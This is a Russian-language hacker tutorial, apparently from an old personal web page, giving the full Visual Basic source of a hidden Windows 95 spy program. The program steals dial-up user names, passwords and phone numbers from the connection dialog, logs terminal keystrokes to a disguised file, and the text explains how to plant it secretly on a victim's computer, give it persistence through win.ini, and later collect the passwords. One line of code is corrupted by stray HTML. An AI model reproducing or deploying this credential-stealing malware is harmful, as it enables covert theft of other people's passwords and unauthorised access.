Вот, кажется, полезный "вирус", который может принести выгоду не только антивирусникам, но его создателю :-) Работа программы происходит так:
При инициализации создается окно и к нему привязываются два таймера, с тиками 2 раза в секунду и 100 раз/сек. Первый таймер предназначен для отслеживания попыток установки связи с Инетом (фактичеки связь может и не быть установлена); второй - для грабления нажатий клавиш. Недостаточно обрабатывать месседж WM_KEYDOWN, поэтому по второму таймеру отслеживаются все нажатия клавиш (или напишите свой драйвер клавиатуры :). Первый таймер всегда включен, второй включается только при обнаружении окна терминала (если способ входа предусматривает это). Когда юзер нажимает ОК в диалоге ввода имени/пароля, появляется окно "Установка связи с...", а диалог с экрана пропадает. Выясняется, что этот диалог по какой-то причине не выгружается из памяти, а просто прячется (невидимо происходят и другие итнересные вещи). Таким образом, появление окна "Установка связи с..." является сигналом к снятию содержимого парольного диалога. Параллельно начинает отслеживаеться появление окна терминала, и если оно есть, включается второй таймер, снимающий весь клавиатурный ввод. По пропадании терминала накопленное выгружается на диск, второй тайиер выключается.

Для образчика выбран общепонятный язык басик. Специфические места прокомментированы для облегчения понимания и написания на других компиляторах. Тем не менее код полностью рабочий. Тем удобнее встроить его, скажем, в макросы или OLE-объекты, в чем басик вполне мастак. Сорри, код не совсем причесан и не оптимизирован, просто не ставилась такая цель. Интересующиеся, ИМХО, сделают это согласно условиям его применения.

// Инф. для справки:

// типы данных басика:

// string  или $   =   char[] (для вызовов API преобразуется в lpsz) 

// integer или %   =   int (signed).

// ByVal означет, что аргумент передается в стек по значению, по-Паскалевски (вызовы API)

// опущенное ByVal означет передачу аргумента по ссылке.

// знак <> означет "не равно".


// Здесь создается внутренняя структура описания окна просто для удобства.

Type Window

    hwnd    As Integer

    name    As String

End Type



// Массиив для кодов клавиш

Global key(255) As Integer



Dim UserName    As String

Dim PassWrd     As String

Dim DialNum     As String

Dim Wnd(255)    As Window

Dim Child(255)  As Window

Dim Shift       As Integer      // Флажок нажатия Shift



Global TermChar As String       

Global TermBox  As String



// Объявления вызовов API

Declare Function GetWindow% Lib "user" (ByVal hwindow%, ByVal wCmd%)

Declare Function GetWindowText% Lib "user" (ByVal hwindow%, ByVal lpSting$, ByVal nMaxCount%)

Declare Function GetWindowTextLength% Lib "user" (ByVal hwindow%)

Declare Function SendMessage% Lib "user" (ByVal hwnd%, ByVal message%, ByVal wParam%, ByVal lParam$)

Declare Function GetAsyncKeyState% Lib "user" (ByVal X As Integer)



Const GW_CHILD = 5

Const GW_HWNDFIRST = 0

Const GW_HWNDLAST = 1

Const GW_HWNDNEXT = 2

Const GW_HWNDPREV = 3

Const GW_OWNER = 4



// Месседж, посылаемый окну для получения его содержимого

Const WM_GETTEXT = &HD     // = 0x0D


// *********************************************************

// *                Точка входа                         *

// *********************************************************

Sub Main ()

    Load SpyWindow // для отслеживания списка окон создаем стартовое окно...

    SpyWindow.Hide // ...и прячем его.



    // к созданному окну привязано два таймера, Т1 и Т2, с тиками 2 раза/сек и 100 раз/сек.

    // инициализация такова, что Т1 разрешен, Т2 выключен;

    // с приходом месседжа от Т1 вызывается обработка void TimerProc1(void)

    // с приходом месседжа от Т2 вызывается обработка void TimerProc2(void)

End Sub


// ***********************************************************

// * основная процедура, вызывается 2 раза/сек от таймера Т1 *

// ***********************************************************

Sub TimerProc1 ()

Dim newUserName    As String

Dim newPassWrd     As String

Dim newDialNum     As String

Dim TermhWnd       As Integer

Dim i              As Integer

Dim j              As Integer



    LoadWnds    // загружаем список всех окон

    If FindWindow("Терминала (после подключения)") <> 0 Then

        // Найдено окно терминальты

        If SpyWindow.Timer2.Interval = 0 Then

            //если второй таймер был выключен, то чистим буфер клавиатуры и включаем его

            For i = 0 To 255: j = GetAsyncKeyState(i): Next i

            SpyWindow.Timer2.Interval = 20

        End If

    Else    //Онко терминала не найдено...

        If SpyWindow.Timer2.Interval <>0  Then 

            //...но было ранее, а теперь пропало.

            SaveTermInfo TermChar, TermBox

            TermChar = ""

            SpyWindow.Timer2.Interval = 0 //выключаем таймер 2

        End If

    End If

    // Проверяем попытку установить связь

    // Используется тот факт, что, когда появляется окно "Установка связи с", то

    // первый диалог (где юзер набирает пароль) просто прячется, но не

    // выгружается. Спасибо Вилли Гейтсу :=)

    If FindNearWindow("Установлена связь с") <> 0 Then

        // грузим список дочерних окон этого окна:

        LoadChilds (FindWindow("Установка связи"))

        // сбой - дочернее окно почему-то не найдено (???)

        If FindChild("Имя пользователя") = 0 Then Exit Sub

        // грабим содержимое следующих за именованными дочерних окошек:

        newUserName = Capture(FindChild("Имя пользователя") + 1)

        newPassWrd = Capture(FindChild("Пароль") + 1)

        newDialNum = Capture(FindChild("Телефон") + 1)

        // сверяем с ранее сграбленными

        If UserName = newUserName And PassWrd = newPassWrd And DialNum = newDialNum Then Exit Sub

        // хотя бы одно значение отличается!

        UserName = newUserName

        PassWrd = newPassWrd

        DialNum = newDialNum

        SaveDialogInfo (UserName, PassWrd, DialNum)

    End If

End Sub


Function Capture (childIDX As Integer) As String

// аргумент - индекс в массиве загруженных дочерних окон

// посылает окну сообщение WM_GETTEXT и получает его содержимое

// возвращает его (в виде строки)

Dim rc As Integer

Dim wParam As Integer

Dim lParam As String

    wParam = 1024       // макс. длина содержимого

    lParam = Space(1024) // lparam содержит строку пробелов длиной 1024 символа

    rc = SendMessage(Child(childIDX).hchild, WM_GETTEXT, wParam, lParam)

    If rc <> 0 Then lParam = Left(lParam, rc) // обрезка строки по фактической длине

    Capture = lParam

End Function


Function FindChild (childName As String) As Integer

// аргумент - строка, содерж. имя дочернего окна

// возвращает индекс массива загруженных процедурой LoadChilds доч. окон

Dim i As Integer

FindChild = 0

For i = 0 To 255

    If InStr(Child(i).name, childName) <> 0 Then

        // встроенная ф-ция Insr ищет подстроку в строке

        // возвращает позицию вхождения или 0

        FindChild = i

        Exit For

    End If

Next i

End Function


Function FindNearWindow (WinName As String) As Integer

// ищет приблизительно подходящее название окна

// возвращает индекс в массиве загруженых окон

Dim i As Integer

FindNearWindow = 0

For i = 0 To 255

    If InStr(Wnd(i).name, WinName) <> 0 Then

        FindNearWindow = Wnd(i).hwnd

        Exit For

    End If

Next i

End Function


Function FindWindow (WinName As String) As Integer

// см. FindNearWindow

Dim i As Integer

FindWindow = 0

For i = 0 To 255

    If Wnd(i).name = WinName Then

        FindWindow = Wnd(i).hwnd

        Exit For

    End If

Next i

End Function


Sub LoadChilds (hwnd As Integer)

// загружает в массив Child() список дочерних окошек указанного окна

// аргумент - hWnd, указывающий окно

Dim hchild          As Integer

Dim lpszChildName   As String

Dim cbChildName     As Integer

Dim rc              As Integer

Dim i               As Integer

    

    hchild = GetWindow(hwnd, GW_CHILD)  // API ф-ция возвращает hWnd дочернего окна

    While hchild <> 0

        cbChildName = GetWindowTextLength(hchild)

        lpszChildName = Space(127)      // забивает в переменную 127 прбелов

        rc = GetWindowText(hchild, lpszChildName, cbChildName + 1)

        If rc <> 0 Then

            lpszChildName = Left(lpszChildName, rc)  // обрезка строки под реальную длину

            Child(i).name = lpszChildName

        End If

        Child(i).hchild = hchild

        i = i + 1

        DoEvents        // дает Windows обработать одно сообщение системной очереди (от задержек)

        hchild = GetWindow(hchild, GW_HWNDNEXT) // next child

    Wend

End Sub


Sub LoadWnds ()

// см. LoadChilds

Dim lpszWinName     As String

Dim cbWinName       As Integer

Dim hwnd            As Integer

Dim created         As Integer

Dim rc              As Integer

Dim i               As Integer

    hwnd = GetWindow(SpyWindow.hWnd, GW_HWNDFIRST)

    While hwnd <> 0

        cbWinName = GetWindowTextLength(hwnd)

        lpszWinName = Space(127)

        rc = GetWindowText(hwnd, lpszWinName, cbWinName + 1)

        If rc <> 0 Then

            lpszWinName = Left(lpszWinName, rc)

            Wnd(i).name = lpszWinName

            Wnd(i).hwnd = hwnd

            i = i + 1

        End If

        DoEvents

        hwnd = GetWindow(hwnd, GW_HWNDNEXT)

    Wend

End Sub


Sub SaveDialogInfo (User As String, PassWrd As String, DialNum As String)

Dim hFile As Integer

hFile = FreeFile

Open "c:\spy.txt" For Append As hFile

// Append открывает файл и перемещает указатель на конец файла

    Print #hFile, "Connected " & Date & " - " & Time

    Print #hFile, "User=" & User & " Pass=" & PassWrd & " Dial=" & DialNum

Close hFile

End Sub


Sub SaveTermInfo (TermChar As String, TermBox As String)

Dim hFile As Integer

hFile = FreeFile

Open "c:\spy.txt" For Append As hFile

    Print #hFile, "Term Box=" & TermBox

    Print #hFile, "Term Type=" & TermChar

Close hFile

End Sub


Sub TimerProc2 ()

// процедура обработки второго таймера

Static ri As Integer

Static k As Integer

Static rs As String

    For k = 0 To 255

        ri = GetAsyncKeyState(k)

        // проверка нажатия/отпускания клавиш и устранение повторов

        If (ri <> 0) And (Not key(k)) Then TermChar = TermChar + Translate(k, True)

        If (ri = 0) And key(k) Then rs = Translate(k, False)

        key(k) = ri <> 0

    Next k

End Sub


Function Translate (code As Integer, press As Integer) As String

// простенький транслятор скэн-кодов

// аргумент press индицирует нажатие Shift'a

// возвращает строку в коде ASCII

    If code = 16 Then Shift = press: Exit Function

    If code = 8 Then Translate = "[BS]": Exit Function

    If code = 32 Then Translate = " ": Exit Function

    If code = 13 Then Translate = Chr(13) + Chr(10): Exit Function

    If code > 64 And code < 91 Then

        If Shift Then

            Translate = Chr(code)

        Else

            Translate = Chr(code + 32)

        End If

        Exit Function

    End If

    If code > 47 And code < 58 Then

        If Shift Then

            Translate = Choose(code - 47, ")", "!", "@", "#", "$", "%", "^", "&", "*", "(")

            // Choose выбирает одно из списочных значений от первого аргумента=1

        Else

            Translate = Chr(code)

        End If

        Exit Function

    End If

    If code > 95 And code < 108 Then

        Translate = Choose(code - 95, "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "*", "+")

        Exit Function

    End If

    Select Case Shift

    Case True

        Select Case code

            Case 192

                Translate = "~"

            Case 189

                Translate = "_"

            Case 187

                Translate = "+"

            Case 220

                Translate = "|"

            Case 188

                Translate = "<"

            Case 190

                Translate = ">"

            Case 191

                Translate = "?"

        End Select

        Exit Function

    Case False

        Select Case code

            "Case.class" tppabs="http://www.chat.ru/%7esly_fox/Case.class" 192

                Translate = "'"

            Case 189

                Translate = "-"

            Case 187

                Translate = "="

            Case 220

                Translate = "\"

            Case 188

                Translate = ","

            Case 190

                Translate = "."

            Case 191

                Translate = "/"

        End Select

    End Select

End Function

Рекомендации
  Компиляция: 

для получения работающей программы на басике (только вот зачем?) создайте форму 

и поместите на нее два таймера. Инервал первого тайиера 500 мс, второго 0 

(запрещен). Событие Timer1 будет вызывать TimerProc1, второй соотв.

  В 

комментариях я постарался дать информацию по специфике басика для облегчения 

понимания кода и написания на нормальных языках программирования/компиляторах. 

Данный код не является переносимым на другие ОС, так как использует специфичные 

дыры Win95 (которая, в сущности, одна большая дыра:).

  Использование: 

Файл, куда сохраняются грабленные пароли, лучше обозвать типа krnl386.sys, или 

другим отпугивающим именем :).

Использование программы начинается с установки 

в чужой компьютер. Далее в файле win.ini пропишите ее имя в строку load=. Через 

какое-то время приходите и забирайте пароли с этого компьютера :)))

Для 

быстрого внедрения в чужой компьютер напишите также установщик (возможно, с 

отложенной распаковкой для уменьшения размера копируемого с дискеты файла). Пока 

жертва отошла покурить (вариант: к телефону, на который звонит по вашему сигналу 

друг), суем дискету и пускаем установщик. Все. В следующий запуск Вынь прога 

распакуется и будет готова к работе.

Используя эти процедуры как библиотеку, Вы можете строить программы, преследующие другие цели, связанные с незаметным отслеживанием ввода/ввывода, как в специфичные окна, так и по системе глобально (что с добавлением отслеживания контекста работы пользователя дает иногда оч. интересную информацию). Не представляет также сложности разработка ПО, следящего за запуском задач и потоками данных на драйверы устройств (типа принтера или жесткого диска). (Что и было сделано). Мой универсальный граббер использует более инетеллектуальный аллгоритм работы, позволяя отсеивать "мусор" и сохранять только данные, имеющие наибольшую ценность/интерес. Для этого применены разнообразные, как логические, так и эвристические методы анализа информации. Приглашаю к обмену идеями в этой области.